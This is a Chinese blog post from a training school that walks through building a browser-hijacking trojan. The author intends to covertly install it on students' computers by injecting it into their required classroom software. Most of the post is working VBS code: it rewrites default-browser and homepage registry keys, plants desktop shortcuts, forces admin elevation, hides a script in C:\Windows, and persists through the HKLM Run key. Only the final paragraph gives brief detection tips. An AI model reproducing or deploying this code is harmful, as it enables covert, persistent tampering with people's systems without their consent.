小言_互联网的博客

基于注入式木马病毒(浏览器绑架)实现及防御方法的研究

268人阅读  评论(0)

基于注入式木马病毒(浏览器绑架)实现及防御方法的研究

申明:

​ 本文章重在对技术的研究和讨论,为学开发的同学提供一种实现思路,为学习测试的同学提供一个软件安全测试的方向。如有读者通过本文进行一些个人篡改,及进行非法途径操作等,与蜗牛学院以及作者无关。

前言:

​ 在蜗牛学院学习的同学都知道,每天讲师授课之后都会将当天的授课视频上传到我们的在线课堂(www.woniuxy.com),学生只要登录进去就可以回看之前老师讲课的视频,从而进行复习。随着来我们蜗牛学院学习的同学越来越多,但很多刚入校的同学对电脑操作都很小白。然后我发现很多学生在进入我们官网的时候都是先打开百度,然后在百度上输入“蜗牛学院”搜索一下,再点击链接进入到我们官网。这样的操作既不方便,而且还会浪费百度推广的费用。针对上面的问题,让每个同学都去设置浏览器书签,这个工作量有点大,而且个班都要去操作一遍就显得很繁琐。所以作者才考虑到了用病毒的方式让学生强制绑定一个我们的官网,毕竟学技术的地方就用技术来解决实际问题。

正文:

​ 首先我们要先弄明白什么是浏览器绑架,即通过技术手段让你的浏览器打开的时候默认访问指定的网站,比如修改首页等。这种操作我们在几年前也经常看见,比如浏览器打开首页就变成了某123网站。大致的实现方式为通过一个本地软件,修改用户的注册表信息里面的默认浏览器以及默认主页的相关内容,然后用户的主页就变成了了指定的网站。以下一段代码通过VBS(Visual Basic Script)语言来实现将默认浏览器更改为IE和默认首页到我们的官网:

On Error Resume Next
Dim defaultUrl, regOPeration
defaultUrl = "https://www.woniuxy.com"
Set regOPeration = CreateObject("WScript.Shell")
regOPeration.RegWrite "HKEY_CLASSES_ROOT\http\shell\open\command\", """C:\Program Files\Internet Explorer\iexplore.exe"" -- ""%1"""
regOPeration.RegWrite "HKEY_CLASSES_ROOT\htmlfile\shell\open\command\", """C:\Program Files\Internet Explorer\iexplore.exe"" -- ""%1"""
regOPeration.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", defaultUrl
regOPeration.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", defaultUrl

​ 以下是对浏览器对应注册表位置:

系统默认浏览器注册表:
"HKEY_CLASSES_ROOT\http\shell\open\command\"
"HKEY_CLASSES_ROOT\htmlfile\shell\open\command\"
机器默认首页注册表:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"
用户默认首页注册表:
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"

​ 代码到这里可能有人会问:为什么用VBS这么古老的语言呢?其他语言像Java或Python能实现吗?首先VBS作为微软的亲儿子,虽然现在的使用范围比较小,但这个语言有一个其他语言不具备的优势就是在WIndows环境下可以很方便的调用WScript.Shell对象直接操作需要管理员权限的HKEY_CLASSES_ROOT注册表。还有一个特点是WIndows环境自带了VBS解释器,在微软环境下可以直接运行非常方便。所以上述代码只需要写在记事本中,然后将后缀名.txt改为.vbs就可以运行了。然而对于其他语言来说也可以实现吗,当然是可以的。

执行前:

执行后:

​ 接下来问题来了,首要的一点就是首页注册表只能针对IE浏览器有效,而现在的用户几乎不会再使用IE浏览器作为系统默认浏览器。比如用户使用的是360,QQ,谷歌等浏览器作为默认浏览器,像这一类没有在系统注册表中提供首页接口的浏览器怎么去实现绑架呢?到这里只能换一种思路:通过对系统默认浏览器创建快捷方式到桌面,然后将浏览器快捷方式的访问首页设置为我们的在线课堂,这样的形式来完成绑架。相关代码如下所示:

Dim browserPath '默认浏览器路径
Dim starDir		'快捷方式起始位置
Dim WShell		'WScript对象
Dim desktopPath	'桌面对象
Dim link		'快捷方式对象
Dim firstUrl	'默认首页链接
Dim linkName	'快捷方式名称

linkName = "蜗牛学院-在线课堂"
firstUrl = "www.woniuxy.com"
Set WShell = CreateObject("WScript.Shell")

'截取到默认浏览器exe文件路径
browserPath = WShell.RegRead("HKEY_CLASSES_ROOT\http\shell\open\command\")
browserPath = Split(browserPath, ".exe")(0)
browserPath = Mid(browserPath,2) & ".exe"

'获取起始位置
tempDir = Split(browserPath, "\")
For i = 0 to UBound(tempDir) - 1
	starDir = starDir & tempDir(i) & "\"
Next
starDir = Mid(starDir,1, Len(starDir)-1)

'创建桌面快捷方式
desktopPath = WShell.SpecialFolders("Desktop")
Set link = WShell.CreateShortcut(desktopPath & "\" & linkName & ".lnk")

link.TargetPath = browserPath	'目标位置
link.Arguments = firstUrl '添加默认页面
link.WindowStyle = 3	'激活方式:1默认窗口大小,3最大化,7最小化	

link.WorkingDirectory = starDir	'设置起始位置
link.IconLocation = browserPath	'设置图标
link.Save

​ 将上述代码写到txt文档中,再修改后缀名为.vbs运行之后的效果:

​ 代码中的link.Arguments = firstUrl非常重要,因为要让快捷方式打开直接访问指定页面,在快捷方式的目标属性里面就必须加上页面地址,而如果是用CreateShortcut函数在后面拼接的方式添加则无法创建快捷方式。

​ 代码写到这里之后,我们会发现三个问题。第一是如果系统中没有设置默认的浏览器(注册表中没有对应值)的情况下或是默认的浏览器没有在注册表中注册,那么用户打开快捷方式会使用IE或Edge。第二个问题是如果用户将桌面的快捷方式删除那么绑架的目的也达不到了。第三是代码是由一个vbs来触发执行,用户也不会傻乎乎的直接去双击。

​ 首先解决第一个问题,放弃使用快捷方式,直接使用url连接文件来解决,url连接文件里面存放的是指定的访问连接。用户点击url文件的时候会直接打开系统默认浏览器,相当于用户在excel中点击一个超链接一样,非常方便。创建url代码和快捷方式大同小异:

Dim urlFile
Dim WShell
Dim desktopPath
Dim filePath
Dim firstUrl
Set WShell = CreateObject("WScript.Shell")
desktopPath = WShell.SpecialFolders("Desktop")
filePath = desktopPath & "\蜗牛学院在线课堂.url"
firstUrl = "http://www.woniuxy.com"

set urlFile = CreateObject("Scripting.Filesystemobject").opentextfile(filePath, 8, True)
urlFile.WriteLine("[InternetShortcut]")
urlFile.WriteLine("URL=" & firstUrl)
urlFile.WriteLine("showcommand=3")
urlFile.Close

​ 运行效果:

​ 接下来第二和第三个问题解决相对复杂一点,先说一下第二个问题。我们可以将上述vbs放到一个系统中公共而又几乎没有用户去关注的地方(C:\Windows),然后再通过修改注册表的方式设置为每次开机运行一次脚本。那么如果用户当前删除了url,重启电脑之后则又会出现。

​ 注册表开机启动项:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

​ 相关代码:

Dim urlFile
Dim WShell
Dim desktopPath
Dim filePath
Dim firstUrl
Dim startPath	'开机启动位置

Set WShell = CreateObject("WScript.Shell")

'添加当前文件到开机启动
startPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
WShell.RegWrite startPath & "\" & "woniuxy", "C:\Windows\woniuxy_url.vbs" & " /r", "REG_SZ"

desktopPath = WShell.SpecialFolders("Desktop")
filePath = desktopPath & "\蜗牛学院在线课堂.url"
firstUrl = "http://www.woniuxy.com"

set urlFile = CreateObject("Scripting.Filesystemobject").opentextfile(filePath, 8, True)
urlFile.WriteLine("[InternetShortcut]")
urlFile.WriteLine("URL=" & firstUrl)
urlFile.WriteLine("showcommand=3")
urlFile.Close

​ 将上述代码命名为woniuxy_url.vbs,然后放到C:\Windows文件中运行,则注册表中会新增开机启动该脚本。

​ 到这里之后又有一个新的问题产生,那就是正常的用户不会主动将vbs脚本放到自己的Windows目录中。这里就需要和上面提到的问题三一起来解决。整体思路就是:

1、写一个vbs脚本woniuxy.vbs。

2、在woniuxy.vbs中向一个指定文件夹(C:\Windows)中写出另一个脚本woniuxy_url.vbs。(注意如果是Win10系统需要获取超级管理员权限)

3、将woniuxy.vbs编译成exe,然后注入到其他exe文件中。

woniuxy.vbs代码如下所示:

On Error Resume Next
WScript.Sleep 1500

Dim fso, startFile
Dim filePath    '文件路径
Dim WShell      'WScript对象
Dim startPath   '开机启动位置

'超级管理员权限
If WScript.Arguments.Length = 0 Then
    Set ObjShell = CreateObject("Shell.Application")
    ObjShell.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1
    WScript.Quit
End If

filePath = "C:\Windows\woniuxy_url.vbs"
Set fso = CreateObject("scripting.filesystemobject")
Set startFile = fso.CreateTextFile(filePath, , ture)

'woniuxy_url.vbs内容
startFile.WriteLine "Dim urlFile,WShell,desktopPath,filePath,firstUrl"
startFile.WriteLine "Set WShell = CreateObject(""WScript.Shell"")"
startFile.WriteLine "desktopPath = WShell.SpecialFolders(""Desktop"")"
startFile.WriteLine "filePath = desktopPath & ""\蜗牛学院在线课堂.url"""
startFile.WriteLine "firstUrl = ""http://www.woniuxy.com"""
startFile.WriteLine "set urlFile = CreateObject(""Scripting.Filesystemobject"").opentextfile(filePath, 8, True)"
startFile.WriteLine "urlFile.WriteLine ""[InternetShortcut]"""
startFile.WriteLine "urlFile.WriteLine ""URL="" & firstUrl"
startFile.WriteLine "urlFile.WriteLine ""showcommand=3"""
startFile.WriteLine "urlFile.Close"

'运行url
startFile.WriteLine "desktopPath = WShell.SpecialFolders(""Desktop"")"
startFile.WriteLine "WShell.Run desktopPath & ""\蜗牛学院在线课堂.url"", 4"
startFile.Close

'文件添加到开机启动
Set WShell = CreateObject("WScript.Shell")
startPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
'添加到开机启动项
WShell.RegWrite startPath & "\" & "woniuxy", filePath & " /r", "REG_SZ"

'运行生成的脚本
WShell.Run filePath

​ 上述woniuxy.vbs完成之后,我们需要将其编译成exe执行文件。市面上比较常见的vbs编译器很多如Vbs_To_Exe等,但效果都不理想。VBS本身就是属于VB(Visual Basic)语言的一个脚本,他们之间的关系和Java与JavaScript不同,所以最好的方案是使用VB来为VBS加壳编译。使用方式也很简单,在VB中新建一个窗体,不需要任何控件,将woniuxy.vbs的源码写入到Form_Load函数中。然后在窗体属性中将Visible属性设置为False(启动时隐藏窗体)。

​ 通过VB编译成exe之后,我们的木马就制作完成了。最后一步就是将木马exe文件注入到另一个经常使用的exe文件中。本文选择的是基于电子教室学生端,因为来蜗牛学院学习的同学,都必须安装这个学生端才能正常听课。然后关于文件的脱壳和加壳过程,不属于本文研究范围,就不在这里阐述了,有兴趣的小伙伴可以联系作者或是在后面跟贴讨论。

结语:

​ 最后我要说的是,为了不侵犯其他软件的利益,上述所有技术中都不涉及到免杀过程。也就是说如果用户系统中存在杀毒软件上述木马是绕不过去的。

​ 同时如果各位小伙伴对电脑掌控能力不足,又担心日常使用中病毒,又不愿意安装杀毒软件(流氓绑定太多)的情况下(本人裸奔十多年)。平时就应该养成多观察系统环境的习惯,比如任务管理器中的启动项,看一下有没有自己不熟悉的,再看看本文中注册表对应的位置有没有被修改过。最后建议电脑新手尽量使用UAC(微软的账户控制),这是系统级别对环境中的任何解释器和执行器进行的监控。

无论你在学习上有任何问题,重庆蜗牛学院欢迎你前来咨询,联系QQ:296799112


转载:https://blog.csdn.net/waverlyc/article/details/114888311
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场